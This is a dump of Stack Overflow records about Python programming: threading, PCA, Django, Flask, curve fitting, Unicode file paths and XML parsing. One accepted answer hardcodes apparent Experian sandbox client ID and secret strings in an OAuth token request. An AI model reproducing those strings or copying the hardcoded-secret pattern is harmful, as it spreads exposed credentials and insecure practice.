has body: I figured it out. My parameters to run the R file were incorrect. I had to pass the path to Rscript.exe: subprocess.call(["C:/Users/seeme/Documents/R/R-3.4.0/bin/Rscript", "C:/Users/path/sentiment_extraction.r"])
score: 0
answers question: http://stackoverflow.com/q/47240742
type: Answer

http://stackoverflow.com/comment/81687095
comment on: http://stackoverflow.com/a/47367219
type: AnswerComment
has text: it imports all functions of a file to be used from a different file. And as bonus I added the proper way to call those imported functions. That covers the entire question O,o
score: 0
type: Comment

http://stackoverflow.com/a/47381365
downvote count: 2
score: -2
has body: import unicodedata t= unicodedata.normalize("NFKD", t) ...there was an irate \xa0 in the unicode string.
answers question: http://stackoverflow.com/q/47380779
type: Answer
upvote count: 0

http://stackoverflow.com/q/47335591
has title: Python global variable is not updating it's value in threads
has answer: http://stackoverflow.com/a/47335899
accepted answer: http://stackoverflow.com/a/47335899
tagged with: python
has comment: http://stackoverflow.com/comment/81622847
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81623231
tagged with: multithreading
answer count: 1
type: Question
has body: So, I have a guess-the-number type of game in python and I made a threaded server to accept multiple clients to play at once. A thing I want to do is with every answer (S-smaller, H-higher, W-winner, L-loser) I send from the server to the client, to also send a message telling the client how many clients are currently connected, hence client_count. The problem is that the first client will always be told that there is 1 client playing, the second one will be told that there are 2 players and so on. The global variable client_count doesn't seem to update over all the threads. server.py __author__ = 'emil' import socket import threading import random import struct import time random.seed() start = 1 stop = 2 ** 17 - 1 my_num = random.randint(start, stop) print('Server number: ', my_num) mylock = threading.Lock() client_guessed = False winner_thread = 0 e = threading.Event() e.clear() threads = [] client_count = 0 def worker(cs): global mylock, client_guessed, my_num, winner_thread, client_count, e my_idcount = client_count print('client #', client_count, 'from: ', cs.getpeername()) message = 'Hello client #' + \ str(client_count) + \ ' ! You are entering the number guess competion now !\n' + \ 'There are currently ' + str(len(threads)) + \ ' players int game.' cs.sendall(bytes(message, 'ascii')) players_count_message = "There are currently " + str(client_count) + \ " players in game." while not client_guessed: try: cnumber = cs.recv(4) if client_guessed: break cnumber = struct.unpack('!I', cnumber)[0] if cnumber &gt; my_num: cs.sendall(b'S') cs.sendall(bytes(players_count_message, 'ascii')) if cnumber &lt; my_num: cs.sendall(b'H') cs.sendall(bytes(players_count_message, 'ascii')) if cnumber == my_num: mylock.acquire() client_guessed = True winner_thread = threading.get_ident() mylock.release() except socket.error as msg: print('Error:', msg.strerror) break if client_guessed: if threading.get_ident() == winner_thread: cs.sendall(b'G') cs.sendall(bytes(players_count_mes…

http://stackoverflow.com/comment/84454987
has text: @niCkcAMel ok. but I dont any experience with neither QT or window application dev.
type: AnswerComment
comment on: http://stackoverflow.com/a/47314406
score: 0
type: Comment

http://stackoverflow.com/a/47267781
score: 1
has comment: http://stackoverflow.com/comment/81486896
type: Answer
has comment: http://stackoverflow.com/comment/81487454
downvote count: 0
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47267535
has body: In draw_beautiful, try replacing ps = list(gen(n)) by ps = [[' .'[x] for x in row] for row in gen(n)] This will turn 0 to ' ' and 1 to '.'.
has comment: http://stackoverflow.com/comment/81486784
accepted answer of: http://stackoverflow.com/q/47267535

http://stackoverflow.com/a/47311849
has body: It's not shorter, but better style in my opinion, to just return a dictionary like this {"level": ..., "exp":..., ...} from the function. When you later acces values of the dictionary your code will be as readable as with different variables for every item.
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/47311722
upvote count: 2

http://stackoverflow.com/a/47341360
has body: I think you are actually asking about a regression problem, which is what Praveen was suggesting. You have a bog standard exponential decay that arrives at the y-axis at about y=0.27. Its equation is therefore y = 0.27*exp(-0.27*x). I can model gaussian error around the values of this function and plot the result using the following code. import matplotlib.pyplot as plt from math import exp from scipy.stats import norm x = range(0, 16) Y = [0.27*exp(-0.27*_) for _ in x] error = norm.rvs(0, scale=0.05, size=9) simulated_data = [max(0, y+e) for (y,e) in zip(Y[:9],error)] plt.plot(x, Y, 'b-') plt.plot(x[:9], simulated_data, 'r.') plt.show() print (x[:9]) print (simulated_data) Here's the plot. Notice that I save the output values for subsequent use. Now I can calculate the nonlinear regression of the exponential decay values, contaminated with noise, on the independent variable, which is what curve_fit does. from math import exp from scipy.optimize import curve_fit import numpy as np def model(x, p): return p*np.exp(-p*x) x = list(range(9)) Y = [0.22219001972988275, 0.15537454187341937, 0.15864069451825827, 0.056411162886672819, 0.037398831058143338, 0.10278251869912845, 0.03984605649260467, 0.0035360087611421981, 0.075855255999424692] popt, pcov = curve_fit(model, x, Y) print (popt[0]) print (pcov) The bonus is that, not only does curve_fit calculate an estimate for the parameter — 0.207962159793 — it also offers an estimate for this estimate's variance — 0.00086071 — as an element of pcov. This would appear to be a fairly small value, given the small sample size. Here's how to calculate the residuals. Notice that each residual is the difference between the data value and the value estimated from x using the parameter estimate. residuals = [y-model(_, popt[0]) for (y, _) in zip(Y, x)] print (residuals) If you wanted to further 'test that my function is indeed going through the data points' then I would suggest looking for patterns in the residuals. But discussions lik…
score: 5
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47319277
has comment: http://stackoverflow.com/comment/81699996
has comment: http://stackoverflow.com/comment/81665752
accepted answer of: http://stackoverflow.com/q/47319277
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/81661672

http://stackoverflow.com/comment/81574155
comment on: http://stackoverflow.com/q/47310371
type: Comment
has text: Did you try opening it in binary format? `open("filename.pmg", "rb")`
type: QuestionComment
score: 0

http://stackoverflow.com/q/47348091
tagged with: django
tagged with: django-rest-framework
type: Question
type: AnsweredQuestion
score: 0
tagged with: python
has body: I have a Disk serializer, my Disk serializer is bellow : class DiskSerializer(ModelSerializer): diskessencetype_name = serializers.ReadOnlyField(source='diskEssenceType.name') diskostype_name = serializers.ReadOnlyField(source='diskOsType.name') class Meta: model = Disk fields = [ "id", "price", "diskessencetype_name", "diskostype_name", ] The views.py is bellow: class DiskListAPIView(ListAPIView): serializer_class = DiskSerializer permission_classes = [] queryset = Disk.objects.all() And that generate the data like bellow: [ { "id": 4, "price": "5.00", "diskessencetype_name": "ssd", "diskostype_name": "系统盘" }, { "id": 5, "price": "6.00", "diskessencetype_name": "sas", "diskostype_name": "系统盘" }, { "id": 6, "price": "5.00", "diskessencetype_name": "sas", "diskostype_name": "数据盘" }, { "id": 7, "price": "6.00", "diskessencetype_name": "sas", "diskostype_name": "系统盘" }, { "id": 8, "price": "6.00", "diskessencetype_name": "sas", "diskostype_name": "系统盘" }, ..... ] But I want to search out and constraints to bellow data: { "系统盘":[{"id":5, "diskessencetype_name":"sas", "price":5.00},.....] "数据盘":[{"id":7, "diskessencetype_name":"ssd", "price":7.00},.....] } You see, they are restructuring by the instance's property(diskostype_name), is there a build-in method to realizer it? How can I rebuild them?
has title: How to restructuring the data by the data's property in Django-Rest-Framework?
accepted answer: http://stackoverflow.com/a/47349207
answer count: 1
has answer: http://stackoverflow.com/a/47349207

http://stackoverflow.com/q/47370795
tagged with: machine-learning
tagged with: scikit-learn
tagged with: python
has answer: http://stackoverflow.com/a/47371133
has comment: http://stackoverflow.com/comment/81821585
tagged with: pca
has body: I ran PCA on a data frame with 10 features using this simple code: pca = PCA() fit = pca.fit(dfPca) The result of pca.explained_variance_ratio_ shows: array([ 5.01173322e-01, 2.98421951e-01, 1.00968655e-01, 4.28813755e-02, 2.46887288e-02, 1.40976609e-02, 1.24905823e-02, 3.43255532e-03, 1.84516942e-03, 4.50314168e-16]) I believe that means that the first PC explains 52% of the variance, the second component explains 29% and so on... What I dont undestand is the output of pca.components_. If I do the following: df = pd.DataFrame(pca.components_, columns=list(dfPca.columns)) I get the data frame bellow where each line is a principal component. What I'd like to understand is how to interpret that table. I know that if I square all the features on each component and sum them I get 1, but what does the -0.56 on PC1 mean? Dos it tell something about "Feature E" since it is the highest magnitude on a component that explains 52% of the variance? Thanks
type: AnsweredQuestion
tagged with: math
has comment: http://stackoverflow.com/comment/81696238
favorite count: 0
accepted answer: http://stackoverflow.com/a/47371788
has answer: http://stackoverflow.com/a/47371788
has comment: http://stackoverflow.com/comment/81696164
type: Question
has comment: http://stackoverflow.com/comment/124040498
upvote count: 36
answer count: 2
possible better answer: http://stackoverflow.com/a/47371133
score: 36
downvote count: 0
has title: PCA on sklearn - how to interpret pca.components_

http://stackoverflow.com/q/47314208
type: UnansweredQuestion
downvote count: 0
has title: Beaglebone black with DLP2000EVM
has comment: http://stackoverflow.com/comment/81606492
favorite count: 0
tagged with: linux
has comment: http://stackoverflow.com/comment/81582512
tagged with: python
type: Question
score: 2
tagged with: beagleboneblack
has body: I am trying to play video using Beaglebone black and DLP2000EVM. manually I can play a video by enabling I2c. But when I try to play using a python script I am getting an error like this debian@beaglebone:/opt/scripts/device/bone/capes/DLPDLCR2000$ python MplayerTest.py Traceback (most recent call last): File "MplayerTest.py", line 89, in main() File "MplayerTest.py", line 59, in main datalog = DataLog(LogDir, Test_name) File "build/bdist.linux-armv7l/egg/dlp_lightcrafter/datalog.py", line 77, in init IOError: [Errno 13] Permission denied: '0524/tmp_header_Video Play Test__Tue__Nov_14_2017__11_19_37__.xls' the system isn't being allowed to write to the datalog file seems. anyone, please help me to fix this problem. thank you.
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/81606024

http://stackoverflow.com/q/47232770
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/81416499
type: Question
has title: Parsing metadata properties from ADO.Net Data Services XML in Python
has comment: http://stackoverflow.com/comment/81416392
has body: I want to put some XML into a pandas dataframe before I stuff it into a database table. I've taken a look at Element Tree and lxml but the examples are really simple and I can't seem to extrapolate them to something this complex. I understand XML I'm just not sure how to drill down to what I need. A sample is below. I'm after the stuff in . So NEW_DATE = 1997-01-02T00:00:00, BC_1YEAR = 5.630000114440918 etc. is what goes in the database. Notice how BC_1MONTH = NULL and is not like the other nodes. <?xml version="1.0" encoding="utf-8" standalone="yes"?> DailyTreasuryYieldCurveRateData http://data.treasury.gov/feed.svc/DailyTreasuryYieldCurveRateData 2017-10-30T20:31:53Z http://data.treasury.gov/Feed.svc/DailyTreasuryYieldCurveRateData(1) 2017-10-30T20:31:53Z <name /> <category term="TreasuryDataWarehouseModel.DailyTreasuryYieldCurveRateDatum" scheme="http://schemas.microsoft.com/ado/2007/08/dataservices/scheme" /> <d:Id m:type="Edm.Int32">1</d:Id> <d:NEW_DATE m:type="Edm.DateTime">1997-01-02T00:00:00</d:NEW_DATE> <d:BC_1MONTH m:type="Edm.Double" m:null="true" /> <d:BC_3MONTH m:type="Edm.Double">5.190000057220459</d:BC_3MONTH> <d:BC_6MONTH m:type="Edm.Double">5.3499999046325684</d:BC_6MONTH> <d:BC_1YEAR m:type="Edm.Double">5.630000114440918</d:BC_1YEAR> <d:BC_2YEAR m:type="Edm.Double">5.96999979019165</d:BC_2YEAR> <d:BC_3YEAR m:type="Edm.Double">6.130000114440918</d:BC_3YEAR> <d:BC_5YEAR m:type="Edm.Double">6.3000001907348633</d:BC_5YEAR> <d:BC_7YEAR m:type="Edm.Double">6.4499998092651367</d:BC_7YEAR> <d:BC_10YEAR m:type="Edm.Double">6.5399999618530273</d:BC_10YEAR> <d:BC_20YEAR m:type="Edm.Double">6.8499999046325684</d:BC_20YEAR> <d:BC_30YEAR m:type="Edm.Double">6.75</d:BC_30YEAR> <d:BC_30YEARDISPLAY m:type="Edm.Double">0</d:BC_30YEARDISPLAY> If you have links to a good article that talks about this, that would be appreciated too. Below is the code I'm working with: import xml.etree.ElementTree as ET import pandas as pd xml_data = open('/path/user_agents.xml').read()…
tagged with: python
accepted answer: http://stackoverflow.com/a/47232997
has answer: http://stackoverflow.com/a/47232997
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81416412
score: 0
answer count: 1

http://stackoverflow.com/a/47250758
score: 2
has body: This question is already answered here: https://github.com/SCIP-Interfaces/PySCIPOpt/issues/102 What was missing - apart from installing the SCIP Opt Suite - was to set the path to where the SCIP Opt Suite was installed: set SCIPOPTDIR="C:\Program Files\SCIPOptSuite" or something similar.
downvote count: 0
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/47227583

http://stackoverflow.com/comment/120047775
type: Comment
comment on: http://stackoverflow.com/a/49358788
has text: can i use delegator bot only for a part of the bot? like only for a function or things like this?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/82153668
type: Comment
type: AnswerComment
has text: @Nomad indeed, keyboard events do work but can be inhibited by not allowing the focus and handling keyboard actions prematurely, but it seems a lot of work to a simple requirement. I'll try to look into it but as others have said, it's not the normal behavior for a button.
score: 0
comment on: http://stackoverflow.com/a/47595821

http://stackoverflow.com/comment/81476896
comment on: http://stackoverflow.com/q/47261578
score: 0
type: Comment
type: QuestionComment
has text: @pankajmishra I've read that one... still don't know how to solve this. I don't know what port is used and I don't know how to specify which port to use.

http://stackoverflow.com/comment/81511702
has text: I have the image running but when I go to localhost: `127.0.0.1:8000` there is no webpage displaying I am getting an error page @Opai
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47280519
type: Comment

http://stackoverflow.com/comment/81685731
comment on: http://stackoverflow.com/q/47360766
has text: This question is _very_ unclear. I recommend you remove all your code and create a [mcve]. If your problem is with the interaction between a couple of optionmenus, then to replicate the problem you should need just a couple of optionmenus and a little bit of code to support them.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81501662
has text: If it is a function, please put it.
comment on: http://stackoverflow.com/q/47275135
type: QuestionComment
score: 0
type: Comment

rss
type: Tag
tags question: http://stackoverflow.com/q/47228979
tag name: rss
tags question: http://stackoverflow.com/q/47276665

http://stackoverflow.com/a/47246627
answers question: http://stackoverflow.com/q/47246364
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81443907
has comment: http://stackoverflow.com/comment/81443802
has comment: http://stackoverflow.com/comment/81443821
type: Answer
has comment: http://stackoverflow.com/comment/81443728
has comment: http://stackoverflow.com/comment/81443752
has comment: http://stackoverflow.com/comment/81443858
accepted answer of: http://stackoverflow.com/q/47246364
has body: You want to submit your form to the same url, but throught a post request hence, you need to provide . as the value for your action variable in the form Add a action variable to your signup form as follows &lt;form method = "post" action="."&gt; {% csrf_token %} {{ form.as_p}} &lt;/form&gt; Your view doesnt have way to handle get requests to the signup url, which is caused due to an extra indent. Change the signup view as follows def signup(request): if request.method == 'POST': form = UserCreationForm(request.POST) if form.is_valid(): form.save() #username = form.cleaned_data.get('username') #raw_password = form.cleaned_data.get('password1') #user = authenticate(username=username, password=raw_password) #login(request, user) return redirect('login.html') else: #this means the form is not valid #so you need to provide the varibles as they were submitted, so the user can change it to proper values form = UserCreationForm(request.POST) else: #this is when the user sends get request form = UserCreationForm() return render(request, 'templates/signup_form.html', {'form': form})

http://stackoverflow.com/comment/81453683
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47250536
type: Comment
has text: Serve the angular project from another server as well. You probably don't want to just load html files from your system when developing for various reasons. So have both servers running. You probably dont need to enable CORS in the angular project server, only the python file one. Or you can serve the python file from same directory as the angularjs project (say project/assets/file.py) and no have two servers and not CORS required.

http://stackoverflow.com/comment/81472801
comment on: http://stackoverflow.com/q/47260632
type: Comment
type: QuestionComment
has text: I used the for loop so I can first of all assign a number to every role, and second empty out the roles list and move the roles to the list alive
score: 0

http://stackoverflow.com/q/47226481
has body: I am using Cplex in Python to solve an SVM problem with reduced dimensions. As a part of my algorithm, I have to add quadratic constraints to my objective function. So to say, I want to add something like "(w1+w2)^2
has title: Cplex quadratic constraints in python, sparepair and sparsetriple
has comment: http://stackoverflow.com/comment/81404139
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/81403189
tagged with: sparse-matrix
type: Question
tagged with: constraints
tagged with: cplex
tagged with: quadratic-programming
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/47327550
answers question: http://stackoverflow.com/q/47327413
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/81607714
has body: Are you using PyPy3? If you use PyPy it will execute your code with a Python 2.7 interpreter. And if you install a library for python3 it does not mean that the library is installed for python2 too. You need to specify for wich interpreter are you installing the library ( like using pip or pip3 )
has comment: http://stackoverflow.com/comment/81608284
has comment: http://stackoverflow.com/comment/81608182

http://stackoverflow.com/q/47314299
type: Question
has title: Basic procedure in passing ORM object to tempate
tagged with: python
score: -1
accepted answer: http://stackoverflow.com/a/47315194
tagged with: flask
has comment: http://stackoverflow.com/comment/81580098
has answer: http://stackoverflow.com/a/47315194
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/81588740
has body: I'm experimenting with https://github.com/hack4impact/flask-base and trying to pass a sqlalchemy orm object to a jinja2 template. My property model is; class Property(db.Model): __tablename__ = 'properties' id = db.Column(db.Integer, primary_key=True) title = db.Column(db.String(140)) body = db.Column(db.String(1400)) img = db.Column(db.String(140)) .... In my main/views.py I have: from flask import render_template from app import db from app.models import Property from . import main @main.route('/') def index(): props = db.session.query(Property).all() return render_template('main/index.html') I understand that to pass a variable to a template you would do : return render_template('main/index.html', pr= props) However trying: &gt;&gt;&gt; type(props[0]) &lt;class 'app.models.property.Property'&gt; This seems like the wrong type of object to pass. I would assume you would pass somthing more generic like a list of dicts. What is the best approach in passing a list of sqlalchemy objects into a jinja2 template?
answer count: 1
has comment: http://stackoverflow.com/comment/81579332
tagged with: jinja2
tagged with: flask-sqlalchemy
downvote count: 1
tagged with: sqlalchemy
favorite count: 0

http://stackoverflow.com/a/47381445
downvote count: 0
answers question: http://stackoverflow.com/q/47365601
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47365601
type: Answer
upvote count: 1
has body: It seems like possibly the exact format of your CSV-file got lost when posting it. If the formatting is exactly as posted here, then it actually looks like a TSV (Tab Separated Values) file, and you could try to change the delimiter = ';' to delimiter = '\t'. However, since you have specified ' as quote character I assume this is correct? I would try to run a search/replace on the CSV file and replace ' with " and see if that helps. I've had some weird issues before using the single quotes.
score: 1

http://stackoverflow.com/comment/92619859
type: Comment
comment on: http://stackoverflow.com/a/47324829
has text: @AlexGrönholm: I'm assuming that you want to notify some remote application that no more data will be sent on this connection. With TCP you can shutdown the socket which results in the tear down of the connection which involves sending FIN so that the peer knows about the socket closed. With UDP there is no such concept, there is not even a concept of a real connection with UDP. If you need to notify the peer explicitly that you are done you need to define an application protocol with such messages and use it. Fore more about this please create a new question and don't ask in a comment.
type: AnswerComment
score: 1

http://stackoverflow.com/q/47339968
has comment: http://stackoverflow.com/comment/81632391
tagged with: namedtuple
linked to: http://stackoverflow.com/q/1608842
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/81632827
upvote count: 1
duplicate of: http://stackoverflow.com/q/1608842
type: UnansweredQuestion
tagged with: inheritance
has title: Strange inheritance of namedtuple methods in custom class
favorite count: 0
type: Question
has body: My goal is to create a class that behaves like a tuple except for the equality/inequality method(s), because I don't wantMyTuple(1, 2, 3) == (1, 2, 3) to be True and I want to use it for dictionary keys that are distinct from its tuple counterparts. I finally did it, but I came across some strange behavior that is unexplainable to me. I thought the most convenient way to reach this goal, was to inherit from a namedtuple. To prove a point, at first without the special (in)equality methods: from collections import namedtuple class MyTuple(namedtuple('MyTuple', 'a b c')): pass print({MyTuple(1, 2, 3): 'my-tuple', (1, 2, 3): 'just-tuple'}) Out: {MyTuple(a=1, b=2, c=3): 'just-tuple'} It is a bit strange that python3.6 keeps the first key for the second value, but they are equal, so that's fine I guess. Now I implemented the (in)equality method(s) and something unexpected happened: class MyTuple(namedtuple('MyTuple', 'a b c')): def __eq__(self, other): return isinstance(other, MyTuple) and tuple(self) == tuple(other) # No, it is not __ne__ that is missing... print({MyTuple(1, 2, 3): 'my-tuple', (1, 2, 3): 'just-tuple'}) Out: Traceback (most recent call last) ----&gt; 7 print({MyTuple(1, 2, 3): 'my-tuple', (1, 2, 3): 'just-tuple'}) TypeError: unhashable type: 'MyTuple' I did not remove the __hash__ method, so how can it disappear? It does work with an additional reimplemented hash function, though: class MyTuple(namedtuple('MyTuple', 'a b c')): def __eq__(self, other): return isinstance(other, MyTuple) and tuple(self) == tuple(other) def __hash__(self): return hash(tuple(self)) # (adding some kind of salt may reduce the probability of # hash collsions, but it works this way) Out: {MyTuple(a=1, b=2, c=3): 'my-tuple', (1, 2, 3): 'just-tuple'} Question(s): Why do I have to implement the hash method myself? How was it deleted in the first place? Is there something like an "DistinctTuple" in some Python library or some other shortcut that I have been missing? Thanks for your ef…
has comment: http://stackoverflow.com/comment/81632664
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81632359
tagged with: python-3.6

http://stackoverflow.com/a/47288407
answers question: http://stackoverflow.com/q/47288166
downvote count: 0
has body: abort is a wrapper that raises HTTPException classes. Calling abort is the same as raising an exception and Flask will handle both the same way. Returning is not the same as raising an exception and will be handled differently.
score: 9
upvote count: 9
type: Answer

http://stackoverflow.com/comment/81629145
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47338430
has text: That is definitely a real bug in the code, but I would expect it to cause a `NameError` rather than an `UnboundLocalError`. If I'm not mistaken, the latter is a compilation error that would be raised before the code even runs.

http://stackoverflow.com/comment/81531070
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47290079
has text: @Aceminer with your new edit I can't reproduce your results, they are coming out the same. Try running it here: (https://repl.it/repls/AjarDarkslateblueFrog)
type: Comment

http://stackoverflow.com/comment/81418047
score: 1
type: Comment
type: AnswerComment
has text: @PatrickHaugh: The question says odd in the title, even in the body.
comment on: http://stackoverflow.com/a/47233698

http://stackoverflow.com/a/71727332
has body: Here is how I did it. You can tweak it to mock the GraphQLResolveInfo but for this use case I only needed to mock the Request object. from requests import Requests from unittest.mock import patch from starlette.authentication import AuthenticationError @patch("grapql.type.definition.GraphQLResolveInfo.context") def test_func(context_mock): with pytest.raises(AuthenticationError): context_mock.side_effect = Request() func_to_be_tested(resolver("fake_source", info_mock, data_inputs))
answers question: http://stackoverflow.com/q/47297732
score: 0
type: Answer

http://stackoverflow.com/a/50828441
answers question: http://stackoverflow.com/q/47370240
type: Answer
upvote count: 4
type: AcceptedAnswer
downvote count: 0
score: 4
accepted answer of: http://stackoverflow.com/q/47370240
has body: Try troubleshooting by swapping classes 0 and 2, and re-running the trainining and prediction process. If the new predictions only contain classes 1 and 2 (most likely given your provided data): Classifier may not have learnt the third class; perhaps its features overlap with those of a larger class, and the classifier defaults to the larger class in order to minimise the objective function. Try providing a balanced training set (same number of samples per class) and retry. If the new predictions do contain all 3 classes: Something went wrong in your code somewhere. More information is needed to determine what exactly went wrong. Hope this helps.

http://stackoverflow.com/comment/81718924
type: Comment
score: 1
comment on: http://stackoverflow.com/q/47381304
has text: Why is everyone and their dog obsessed with the idea, that UI Automation should be done by faking input? Why not use UI Automation when you need to automate a UI?
type: QuestionComment

http://stackoverflow.com/comment/81709879
type: AnswerComment
comment on: http://stackoverflow.com/a/47378853
score: 1
type: Comment
has text: Use the `intersection` method, and there is no need to construct a set for the second argument: `set(s1).intersection(s2)`.

http://stackoverflow.com/q/47330666
downvote count: 0
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/81612534
has answer: http://stackoverflow.com/a/47330984
has body: The code is supposed to create a list of five list's, with each list created from the numbers the user input each time (of five). So e.g. if user key in 1 2 3 4 5 1 2 1.5 2 2.2 1 The output should be : [[1, 2, 3, 4, 5], [1, 2], [1.5, 2], [2,2], [1]] Any help is appreciated. I understand that to solve this problem, you need to convert the string into a int or float, but cannot seem to get it to work. nlist = [] n = len(nlist) while n &lt; 5: num = input("Enter a Number: ").split() for x in num: if '.' in num[x]: num[x] = float(num[x]) else: num[x] = int(num[x]) nlist.append(num) n = n + 1 print(nlist)
answer count: 3
has comment: http://stackoverflow.com/comment/81612001
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/47330825
has title: Unable to create a list that is able to dinstinguish between integer and float based on user input
favorite count: 0
tagged with: list
has answer: http://stackoverflow.com/a/47330975
type: UnansweredQuestion

http://stackoverflow.com/q/47275237
has comment: http://stackoverflow.com/comment/81502020
downvote count: 1
has comment: http://stackoverflow.com/comment/81501874
has body: I am having trouble figuring out how to return a template together with another value. My view function looks like this: @app.route('/', methods=['GET', 'POST']) def index(): page = request.args.get('page') return render_template('index.html', page=page) This works fine, the problem I have is that I also need to return the value of page outside the template for another purpose but I have not been able to: Here is an example of what I tried: return render_template('index.html', page=page) and page This does not work, any help will be appreciated
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/13081532
has title: Return render template and another value to Ajax call
answer count: 0
has comment: http://stackoverflow.com/comment/81501941
duplicate of: http://stackoverflow.com/q/13081532
type: UnansweredQuestion
tagged with: javascript
tagged with: python
tagged with: flask
tagged with: ajax
score: 0
upvote count: 1

enums
tags question: http://stackoverflow.com/q/47353555
type: Tag
tags question: http://stackoverflow.com/q/47299036
tag name: enums
tags question: http://stackoverflow.com/q/47247187

http://stackoverflow.com/a/47301679
answers question: http://stackoverflow.com/q/47278176
has body: I have found the solution of my question, i have added the webapp2_static library and it works for me
score: 0
type: Answer

http://stackoverflow.com/comment/81558507
score: 0
comment on: http://stackoverflow.com/q/47298051
type: QuestionComment
has text: Have the folders been created already?
type: Comment

http://stackoverflow.com/q/47245408
type: Question
tagged with: windows
tagged with: path
tagged with: python
has answer: http://stackoverflow.com/a/47253609
has comment: http://stackoverflow.com/comment/81441470
has comment: http://stackoverflow.com/comment/81441400
type: AnsweredQuestion
has body: I am using python2 to manage some folder and files on windows. My Windows encoding is GBK, path.decode('gbk') is fine for most files. Example code: from __future__ import unicode_literals, absolute_import from pathlib2 import Path from six import text_type, binary_type def text(string, encodings=['utf8', 'gbk']): if isinstance(string, text_type): return string elif isinstance(string, binary_type): for encoding in encodings: try: return string.decode(encoding) except UnicodeDecodeError: pass else: raise Exception('Can not decode with %s' % encodings) else: return text_type(string) root = Path('./data') for x in root.iterdir(): if x.is_dir(): print text(x.parts[1]) But not work for some filename: Such as contain ♣ , at this line if x.is_dir() would throw error File "e:\Workspace\PixivUtil2\StorageManager.py", line 50, in __init__ self.refresh() File "e:\Workspace\PixivUtil2\StorageManager.py", line 90, in refresh if x.is_dir(): File "D:\Python27\lib\site-packages\pathlib2.py", line 1463, in is_dir return S_ISDIR(self.stat().st_mode) File "D:\Python27\lib\site-packages\pathlib2.py", line 1257, in stat return self._accessor.stat(self) File "D:\Python27\lib\site-packages\pathlib2.py", line 481, in wrapped return strfunc(str(pathobj), *args) WindowsError: [Error 123] : 'data\\464063 - ?3' comment out the dir check, directly write file would get [Errno 22] invalid mode ('wb') or filename: u'data\\464063 - ?3\\11111111.txt' I know ♣ can not display on windows cmd, because GBK doesn't contain it, that's why it shows as ? . But how to make python handle this problem correctly ? I want to read the folder name and create file under it.
tagged with: python-2.7
score: 0
has title: python 2 read file name contain ♣ in Windows?
accepted answer: http://stackoverflow.com/a/47253609
answer count: 1
tagged with: unicode

http://stackoverflow.com/a/47343326
has body: If you have to define num as a method then what @Shadow said is the best way to go, unless num can also be passed a value of None. Another option is simply defining a function that doesn't take a self, and just calling it in your params as a normal function. class Test(): def rand(): return 4 def print_rand(self, num=rand()): print num t = Test() print t.print_rand() If you actually intend on not accessing anything within the instance, and will be returning some constant value, you could define it as a @staticmethod. That all being said, I am not sure what the use case is for calling a method to get a default value right within the function parameter declaration. It's better to explicit like @Shadow's post said for something that's uncommon. It'll save you and someone else some good time in the future.
answers question: http://stackoverflow.com/q/47342999
type: Answer
has comment: http://stackoverflow.com/comment/81640274
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47360398
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47360559
answer count: 1
downvote count: 0
tagged with: python
tagged with: computer-vision
has body: After performing a bunch of preprocessing steps, I have this image. I'd like to remove the tiny islands of noise from within the image. What I've noticed is that these noisy pixels are directly connected to less than two pixels in their neighborhood. Is there a way of extracting just the logo and the letters "PUSH TO OPEN" without the noisy pixels? I've already tried basic morphological operations such as erosion (cv2.erode) and opening to no avail. I apologize if I've not made any part of my question clear as I'm a beginner at opencv. Any help is appreciated!
tagged with: noise-reduction
tagged with: opencv
score: 2
favorite count: 0
type: Question
has title: Is there a way of removing pixels in an image that have less than two neighbors using opencv?
upvote count: 2

http://stackoverflow.com/a/47340379
type: AcceptedAnswer
downvote count: 0
upvote count: 7
score: 7
type: Answer
answers question: http://stackoverflow.com/q/47340311
has body: Almost there, just need to parse the response: import json data = { "username" : "youremail@email.com", "password":"YOURPASSWORD"} headers = {"Client_id": "3QC11Sm45ti8wEG0d9A5hma5XIlGG7U9", "Client_secret": "ipu3WQDqTEjqZDXW", "Content-Type": "application/json"} response = requests.post("https://sandbox-us-api.experian.com/oauth2/v1/token", data=data, headers=headers) if response.status_code in [200]: tok_dict = json.loads(response.text) print(tok_dict) issued_at = tok_dict["issued_at"] expires_in = tok_dict["expires_in"] token_type = tok_dict["token_type"] access_token = tok_dict["access_token"] else: print(response.text)
accepted answer of: http://stackoverflow.com/q/47340311

http://stackoverflow.com/q/47262550
upvote count: 1
tagged with: scikit-learn
tagged with: python
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47271693
has answer: http://stackoverflow.com/a/47271693
downvote count: 1
favorite count: 0
